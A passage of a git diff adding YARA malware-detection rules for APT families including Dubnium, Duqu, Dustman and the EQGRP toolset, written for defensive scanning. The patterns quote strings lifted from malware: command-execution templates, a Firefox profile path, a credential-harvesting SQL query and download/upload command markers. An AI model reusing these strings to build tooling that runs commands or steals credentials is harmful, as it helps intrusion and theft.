+      $xc1 = { 25 73 2A 2E 2A 00 00 00 5C 00 00 00 25 73 7E 00
+               5C 00 00 00 77 62 00 00 64 61 74 00 64 6B 77 65
+               72 6F 33 38 6F 65 72 41 5E 74 40 23 00 00 00 00
+               63 3A 5C 00 25 73 5C 25 63 2E 74 6D 70 }
+
+      $sx1 = "%02d.%02d.%04d - %02d:%02d:%02d:%03d : " fullword ascii
+      $sx2 = "%s\\%c.tmp" fullword ascii
+      $sx3 = "dkwero38oerA" fullword ascii
+      $sx4 = "awz2qr21yfbj" fullword ascii
+
+      $s1 = "Execute_%s.log" ascii
+      $s2 = "%s\\%s\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" fullword ascii
+      $s3 = "CCS_Mozilla/5.0" fullword ascii
+      $s4 = "\\C$\\Windows\\Temp\\MpLogs\\" ascii
+      $s5 = "127.0.0.1 >NUL & echo EEEE > \"%s\"" fullword ascii
+      $s6 = "[+] DownloadCommand" fullword ascii
+      $s7 = "DC-Error: Too long cmd length" fullword ascii
+      $s8 = "%s\\~%d.tmp" fullword ascii
+      $s9 = "%02X:%02X:%02X:%02X:%02X:%02X" ascii fullword
+
+      $op1 = { 0f b6 8d a3 fc ff ff 85 c9 74 09 8b 55 f4 83 c2 }
+      $op2 = { 6a 00 8d 85 28 fc ff ff 50 6a 04 8d 4d f8 51 8b }
+      $op3 = { 8b 85 c8 fd ff ff 03 85 a4 fc ff ff 89 85 b4 fc }
+   condition:
+      $xc1 or 2 of ($sx*) or 4 of them or
+      ( uint16(0) == 0x5a4d and filesize <= 3000KB and 2 of them )
+}
diff --git a/yara-Neo23x0/apt_dubnium.yar b/yara-Neo23x0/apt_dubnium.yar
new file mode 100644
index 0000000..be83a98
--- /dev/null
+++ b/yara-Neo23x0/apt_dubnium.yar
@@ -0,0 +1,152 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-10
+	Identifier: Dubnium
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Dubnium_Sample_1 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+		id = "377ecbaa-9324-562e-a973-0276d44f3feb"
+	strings:
+		$key1 = "3b840e20e9555e9fb031c4ba1f1747ce25cc1d0ff664be676b9b4a90641ff194" fullword ascii
+		$key2 = "90631f686a8c3dbc0703ffa353bc1fdf35774568ac62406f98a13ed8f47595fd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule Dubnium_Sample_2 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		id = "894dc893-25fc-5fdc-9f69-8085b94e1af1"
+	strings:
+		$x1 = ":*:::D:\\:c:~:" fullword ascii
+		$s2 = "SPMUVR" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule Dubnium_Sample_3 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8"
+		hash2 = "e0362d319a8d0e13eda782a0d8da960dd96043e6cc3500faeae521d1747576e5"
+		hash3 = "a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827"
+		id = "66f66139-88df-5ba9-a3fc-ba4fc98ce3f9"
+	strings:
+		$x1 = "copy /y \"%s\" \"%s\" " fullword ascii
+		$x2 = "del /f \"%s\" " fullword ascii
+		$s1 = "del /f /ah \"%s\" " fullword ascii
+		$s2 = "if exist \"%s\" goto Rept " fullword ascii
+		$s3 = "\\*.*.lnk" ascii
+		$s4 = "Dropped" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 5 of them
+}
+
+rule Dubnium_Sample_5 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		super_rule = 1
+		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash6 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+		hash7 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash8 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash9 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+		id = "09c1aeee-9437-54e9-967f-3c2fcc0736ed"
+	strings:
+		$s1 = "$innn[i$[i$^i[e[mdi[m$jf1Wehn[^Whl[^iin_hf$11mahZijnjbi[^[W[f1n$dej$[hn]1[W1ni1l[ic1j[mZjchl$$^he[[j[a[1_iWc[e[" fullword ascii
+		$s2 = "h$YWdh[$ij7^e$n[[_[h[i[[[\\][1$1[[j1W1[1cjm1[$[k1ZW_$$ncn[[Inbnnc[I9enanid[fZCX" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9000KB and all of them
+}
+
+rule Dubnium_Sample_6 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		super_rule = 1
+		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash2 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash3 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+		id = "43366f1a-784d-515e-a8e9-3e924f2abfd8"
+	strings:
+		$s1 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&()`~-_=+[{]{;',." fullword ascii
+		$s2 = "e_$0[bW\\RZY\\jb\\ZY[nimiRc[jRZ]" fullword ascii
+		$s3 = "f_RIdJ0W9RFb[$Fbc9[k_?Wn" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
+
+rule Dubnium_Sample_7 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		super_rule = 1
+		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash6 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash7 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash8 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+		id = "6712bd5f-6bbc-5ca0-9fc7-b2013b8f8147"
+	strings:
+		$s1 = "hWI[$lZ![nJ_[[lk[8Ihlo8ZiIl[[[$Ynk[f_8[88WWWJW[YWnl$$Z[ilf!$IZ$!W>Wl![W!k!$l!WoW8$nj8![8n_I^$[>_n[ZY[[Xhn_c!nnfK[!Z" fullword ascii
+		$s2 = "[i_^])[$n!]Wj^,h[,!WZmk^o$dZ[h[e!&W!l[$nd[d&)^Z\\^[[iWh][[[jPYO[g$$e&n\\,Wfg$[<g$[[ninn:j!!)Wk[nj[[o!!Y" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9000KB and all of them
+}
+
+rule Dubnium_Sample_SSHOpenSSL {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "6f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash5 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash6 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+		id = "d4f2b494-47b6-5b8e-b358-30159dfb977b"
+	strings:
+		$s1 = "sshkeypairgen.exe" fullword wide
+		$s2 = "OpenSSL: FATAL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9000KB and all of them
+}
diff --git a/yara-Neo23x0/apt_duqu1_5_modules.yar b/yara-Neo23x0/apt_duqu1_5_modules.yar
new file mode 100644
index 0000000..ef76200
--- /dev/null
+++ b/yara-Neo23x0/apt_duqu1_5_modules.yar
@@ -0,0 +1,17 @@
+
+rule Duqu1_5_modules {
+   meta:
+      author = "Silas Cutler (havex@chronicle.security)"
+      desc = "Detection for Duqu 1.5 modules"
+      hash = "bb3961e2b473c22c3d5939adeb86819eb846ccd07f5736abb5e897918580aace"
+      reference = "https://medium.com/chronicle-blog/who-is-gossipgirl-3b4170f846c0"
+      id = "7239f5e1-c08f-566c-8998-f7dacc2c4a29"
+   strings:
+      $c1 = "%s(%d)disk(%d)fdisk(%d)"
+      $c2 = "\\Device\\Floppy%d" wide
+      $c3 = "BrokenAudio" wide
+      $m1 = { 81 3F E9 18 4B 7E}
+      $m2 = { 81 BC 18 F8 04 00 00 B3 20 EA B4 }
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/apt_duqu2.yar b/yara-Neo23x0/apt_duqu2.yar
new file mode 100644
index 0000000..851383e
--- /dev/null
+++ b/yara-Neo23x0/apt_duqu2.yar
@@ -0,0 +1,104 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-02
+	Identifier: Duqu2
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Duqu2_Sample1 {
+	meta:
+		description = "Detects malware - Duqu2 (cross-matches with IronTiger malware and Derusbi)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "6b146e3a59025d7085127b552494e8aaf76450a19c249bfed0b4c09f328e564f"
+		hash2 = "8e97c371633d285cd8fc842f4582705052a9409149ee67d97de545030787a192"
+		hash3 = "2796a119171328e91648a73d95eb297edc220e8768f4bbba5fb7237122a988fc"
+		hash4 = "5559fcc93eef38a1c22db66a3e0f9e9f026c99e741cc8b1a4980d166f2696188"
+		id = "39ba04f1-df45-5513-ab8f-12097a79cdc7"
+	strings:
+		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
+		$s2 = "MSI.dll" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 40KB and $x1 ) or ( all of them )
+}
+
+rule Duqu2_Sample2 {
+	meta:
+		description = "Detects Duqu2 Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "d12cd9490fd75e192ea053a05e869ed2f3f9748bf1563e6e496e7153fb4e6c98"
+		hash2 = "5ba187106567e8d036edd5ddb6763f89774c158d2a571e15d76572d8604c22a0"
+		hash3 = "6e09e1a4f56ea736ff21ad5e188845615b57e1a5168f4bdaebe7ddc634912de9"
+		hash4 = "c16410c49dc40a371be22773f420b7dd3cfd4d8205cf39909ad9a6f26f55718e"
+		hash5 = "2ecb26021d21fcef3d8bba63de0c888499110a2b78e4caa6fa07a2b27d87f71b"
+		hash6 = "2c9c3ddd4d93e687eb095444cef7668b21636b364bff55de953bdd1df40071da"
+		id = "a32f54a3-8656-5592-ac40-17330bfca319"
+	strings:
+		$s1 = "=<=Q=W=a=g=p=v=|=" fullword ascii
+		$s2 = ">#>(>.>3>=>]>d>p>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of ($s*)
+}
+
+rule Duqu2_Sample3 {
+	meta:
+		description = "Detects Duqu2 Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "2a9a5afc342cde12c6eb9a91ad29f7afdfd8f0fb17b983dcfddceccfbc17af69"
+		id = "c558445f-fbe3-57db-80f7-09a87b097921"
+	strings:
+		$s1 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 50KB and $s1 )
+}
+
+rule Duqu2_Sample4 {
+	meta:
+		description = "Detects Duqu2 Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "3536df7379660d931256b3cf49be810c0d931c3957c464d75e4cba78ba3b92e3"
+		id = "8c5ca68d-762c-5d2e-8d37-f58dc66bcae2"
+	strings:
+		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
+		$s2 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide
+		$s3 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide
+		$s4 = "ProcessUserAccounts" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 30KB and 1 of ($x*) ) or ( all of them )
+}
+rule Duqu2_UAs {
+	meta:
+		description = "Detects Duqu2 Executable based on the specific UAs in the file"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "52fe506928b0262f10de31e783af8540b6a0b232b15749d647847488acd0e17a"
+		hash2 = "81cdbe905392155a1ba8b687a02e65d611b60aac938e470a76ef518e8cffd74d"
+		id = "d82f6351-fab0-5324-850f-dd40a172fceb"
+	strings:
+		$x1 = "Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1" fullword wide
+		$x2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7xs5D9rRDFpg2g" fullword wide
+		$x3 = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)" fullword wide
+		$x4 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 800KB and all of them )
+}
diff --git a/yara-Neo23x0/apt_dustman.yar b/yara-Neo23x0/apt_dustman.yar
new file mode 100644
index 0000000..1efe9e3
--- /dev/null
+++ b/yara-Neo23x0/apt_dustman.yar
@@ -0,0 +1,50 @@
+
+rule MAL_ME_RawDisk_Agent_Jan20_1 {
+   meta:
+      description = "Detects suspicious malware using ElRawDisk"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Saudi National Cybersecurity Authority - Destructive Attack DUSTMAN"
+      date = "2020-01-02"
+      modified = "2022-12-21"
+      hash1 = "44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2"
+      id = "0efaae51-1407-5039-9e5a-9c2f13d6a971"
+   strings:
+      $x1 = "\\drv\\agent.plain.pdb" ascii
+      $x2 = " ************** Down With Saudi Kingdom, Down With Bin Salman ************** " fullword ascii
+
+      $s1 = ".?AVERDError@@" fullword ascii
+      $s2 = "b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d" fullword wide
+      $s3 = "\\\\?\\ElRawDisk" fullword wide
+      $s4 = "\\??\\c:" wide
+
+      $op1 = { e9 3d ff ff ff 33 c0 48 89 05 0d ff 00 00 48 8b }
+      $op2 = { 0f b6 0c 01 88 48 34 48 8b 8d a8 }
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 2000KB and ( 1 of ($x*) or 4 of them )
+}
+
+rule MAL_ME_RawDisk_Agent_Jan20_2 {
+   meta:
+      description = "Detects suspicious malware using ElRawDisk"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/jfslowik/status/1212501454549741568?s=09"
+      date = "2020-01-02"
+      modified = "2022-12-21"
+      hash1 = "44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2"
+      id = "9817fb22-7bed-5869-aa92-66c458b81c7f"
+   strings:
+      $x1 = "\\Release\\Dustman.pdb" ascii
+      $x2 = "/c agent.exe A" fullword ascii
+
+      $s1 = "C:\\windows\\system32\\cmd.exe" fullword ascii
+      $s2 = "The Magic Word!" fullword ascii
+      $s3 = "Software\\Oracle\\VirtualBox" fullword wide
+      $s4 = "\\assistant.sys" wide
+      $s5 = "Down With Bin Salman" fullword wide
+
+      $sc1 = { 00 5C 00 5C 00 2E 00 5C 00 25 00 73 }
+
+      $op1 = { 49 81 c6 ff ff ff 7f 4c 89 b4 24 98 }
+   condition:
+      uint16(0) == 0x5a4d and filesize <= 3000KB and ( 1 of ($x*) or 3 of them )
+}
diff --git a/yara-Neo23x0/apt_emissary.yar b/yara-Neo23x0/apt_emissary.yar
new file mode 100644
index 0000000..adf9dba
--- /dev/null
+++ b/yara-Neo23x0/apt_emissary.yar
@@ -0,0 +1,43 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-02
+	Identifier: Emissary Malware
+*/
+
+rule Emissary_APT_Malware_1 {
+	meta:
+		description = "Detects Emissary Malware - from samples A08E81B411.DAT, ishelp.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/V0epcf"
+		date = "2016-01-02"
+		score = 75
+		hash1 = "9420017390c598ee535c24f7bcbd39f40eca699d6c94dc35bcf59ddf918c59ab"
+		hash2 = "70561f58c9e5868f44169854bcc906001947d98d15e9b4d2fbabd1262d938629"
+		hash3 = "0e64e68f6f88b25530699a1cd12f6f2790ea98e6e8fa3b4bc279f8e5c09d7290"
+		hash4 = "69caa2a4070559d4cafdf79020c4356c721088eb22398a8740dea8d21ae6e664"
+		hash5 = "675869fac21a94c8f470765bc6dd15b17cc4492dd639b878f241a45b2c3890fc"
+		hash6 = "e817610b62ccd00bdfc9129f947ac7d078d97525e9628a3aa61027396dba419b"
+		hash7 = "a8b0d084949c4f289beb4950f801bf99588d1b05f68587b245a31e8e82f7a1b8"
+		hash8 = "acf7dc5a10b00f0aac102ecd9d87cd94f08a37b2726cb1e16948875751d04cc9"
+		hash9 = "e21b47dfa9e250f49a3ab327b7444902e545bed3c4dcfa5e2e990af20593af6d"
+		hash10 = "e369417a7623d73346f6dff729e68f7e057f7f6dae7bb03d56a7510cb3bfe538"
+		hash11 = "29d8dc863427c8e37b75eb738069c2172e79607acc7b65de6f8086ba36abf051"
+		hash12 = "98fb1d2975babc18624e3922406545458642e01360746870deee397df93f50e0"
+		hash13 = "fbcb401cf06326ab4bb53fb9f01f1ca647f16f926811ea66984f1a1b8cf2f7bb"
+		id = "ae6ff471-9255-52a3-89d2-452eb2556184"
+	strings:
+		$s1 = "cmd.exe /c %s > %s" fullword ascii
+		$s2 = "execute cmd timeout." fullword ascii
+		$s3 = "rundll32.exe \"%s\",Setting" fullword ascii
+		$s4 = "DownloadFile - exception:%s." fullword ascii
+		$s5 = "CDllApp::InitInstance() - Evnet create successful." fullword ascii
+		$s6 = "UploadFile - EncryptBuffer Error" fullword ascii
+		$s7 = "WinDLL.dll" fullword wide
+		$s8 = "DownloadFile - exception:%s,code:0x%08x." fullword ascii
+		$s9 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" fullword ascii
+		$s10 = "CDllApp::InitInstance() - Evnet already exists." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and 3 of them
+}
diff --git a/yara-Neo23x0/apt_eqgrp.yar b/yara-Neo23x0/apt_eqgrp.yar
new file mode 100644
index 0000000..c7d5bf6
--- /dev/null
+++ b/yara-Neo23x0/apt_eqgrp.yar
@@ -0,0 +1,1948 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-15
+	Identifier: EQGRP
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule EQGRP_noclient_3_0_5 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file noclient-3.0.5.3"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		id = "af7472ce-0605-5f50-8180-23438d2196b8"
+	strings:
+		$x1 = "-C %s 127.0.0.1\" scripme -F -t JACKPOPIN4 '&" fullword ascii
+		$x2 = "Command too long!  What the HELL are you trying to do to me?!?!  Try one smaller than %d bozo." fullword ascii
+		$x3 = "sh -c \"ping -c 2 %s; grep %s /proc/net/arp >/tmp/gx \"" fullword ascii
+		$x4 = "Error from ourtn, did not find keys=target in tn.spayed" fullword ascii
+		$x5 = "ourtn -d -D %s -W 127.0.0.1:%d  -i %s -p %d %s %s" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 700KB and 1 of them ) or ( all of them )
+}
+
+rule EQGRP_installdate {
+	meta:
+		description = "Detects tool from EQGRP toolset - file installdate.pl"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		id = "029b1213-1206-5b7c-bd72-93239a23fe8a"
+	strings:
+		$x1 = "#Provide hex or EP log as command-line argument or as input" fullword ascii
+		$x2 = "print \"Gimme hex: \";" fullword ascii
+		$x3 = "if ($line =~ /Reg_Dword:  (\\d\\d:\\d\\d:\\d\\d.\\d+ \\d+ - )?(\\S*)/) {" fullword ascii
+
+		$s1 = "if ($_ =~ /InstallDate/) {" fullword ascii
+		$s2 = "if (not($cmdInput)) {" fullword ascii
+		$s3 = "print \"$hex in decimal=$dec\\n\\n\";" fullword ascii
+	condition:
+		filesize < 2KB and ( 1 of ($x*) or 3 of them )
+}
+
+rule EQGRP_teflondoor {
+	meta:
+		description = "Detects tool from EQGRP toolset - file teflondoor.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		id = "188f9ef1-5524-50be-ac62-91cb9726b155"
+	strings:
+		$x1 = "%s: abort.  Code is %d.  Message is '%s'" fullword ascii
+		$x2 = "%s: %li b (%li%%)" fullword ascii
+
+		$s1 = "no winsock" fullword ascii
+		$s2 = "%s: %s file '%s'" fullword ascii
+		$s3 = "peer: connect" fullword ascii
+		$s4 = "read: write" fullword ascii
+		$s5 = "%s: done!" fullword ascii
+		$s6 = "%s: %li b" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 1 of ($x*) and 3 of them
+}
+
+rule EQGRP_durablenapkin_solaris_2_0_1 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file durablenapkin.solaris.2.0.1.1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		id = "7b49a26d-9ee3-5aff-93fc-509239daef28"
+	strings:
+		$s1 = "recv_ack: %s: Service not supplied by provider" fullword ascii
+		$s2 = "send_request: putmsg \"%s\": %s" fullword ascii
+		$s3 = "port undefined" fullword ascii
+		$s4 = "recv_ack: %s getmsg: %s" fullword ascii
+		$s5 = ">> %d -- %d" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and 2 of them )
+}
+
+rule EQGRP_teflonhandle {
+	meta:
+		description = "Detects tool from EQGRP toolset - file teflonhandle.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		id = "4d82cc41-3777-5f8c-9392-aca69e6ed781"
+	strings:
+		$s1 = "%s [infile] [outfile] /k 0x[%i character hex key] </g>" fullword ascii
+		$s2 = "File %s already exists.  Overwrite? (y/n) " fullword ascii
+		$s3 = "Random Key : 0x" fullword ascii
+		$s4 = "done (%i bytes written)." fullword ascii
+		$s5 = "%s --> %s..." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and 2 of them
+}
+
+rule EQGRP_false {
+	meta:
+		description = "Detects tool from EQGRP toolset - file false.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		id = "3a68790b-38fc-570b-8b19-c5478cdd2842"
+	strings:
+		$s1 = { 00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 6C 75 2E 25 6C 75 2E 25 6C 75 2E 25 6C 75
+			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 32 2E 32 58 20 00 00 0A 00 00 00 25 64 20
+			2D 20 25 64 20 25 64 0A 00 25 64 0A 00 25 64 2E
+			0A 00 00 00 00 25 64 2E 0A 00 00 00 00 25 64 2E
+			0A 00 00 00 00 25 64 20 2D 20 25 64 0A 00 00 00
+			00 25 64 20 2D 20 25 64 }
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and $s1
+}
+
+rule EQGRP_dn_1_0_2_1 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file dn.1.0.2.1.linux"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		id = "24b5fb51-2463-56ef-818a-949b4b3bbf5b"
+	strings:
+		$s1 = "Valid commands are: SMAC, DMAC, INT, PACK, DONE, GO" fullword ascii
+		$s2 = "invalid format suggest DMAC=00:00:00:00:00:00" fullword ascii
+		$s3 = "SMAC=%02x:%02x:%02x:%02x:%02x:%02x" fullword ascii
+		$s4 = "Not everything is set yet" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 30KB and 2 of them )
+}
+
+rule EQGRP_morel {
+	meta:
+		description = "Detects tool from EQGRP toolset - file morel.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
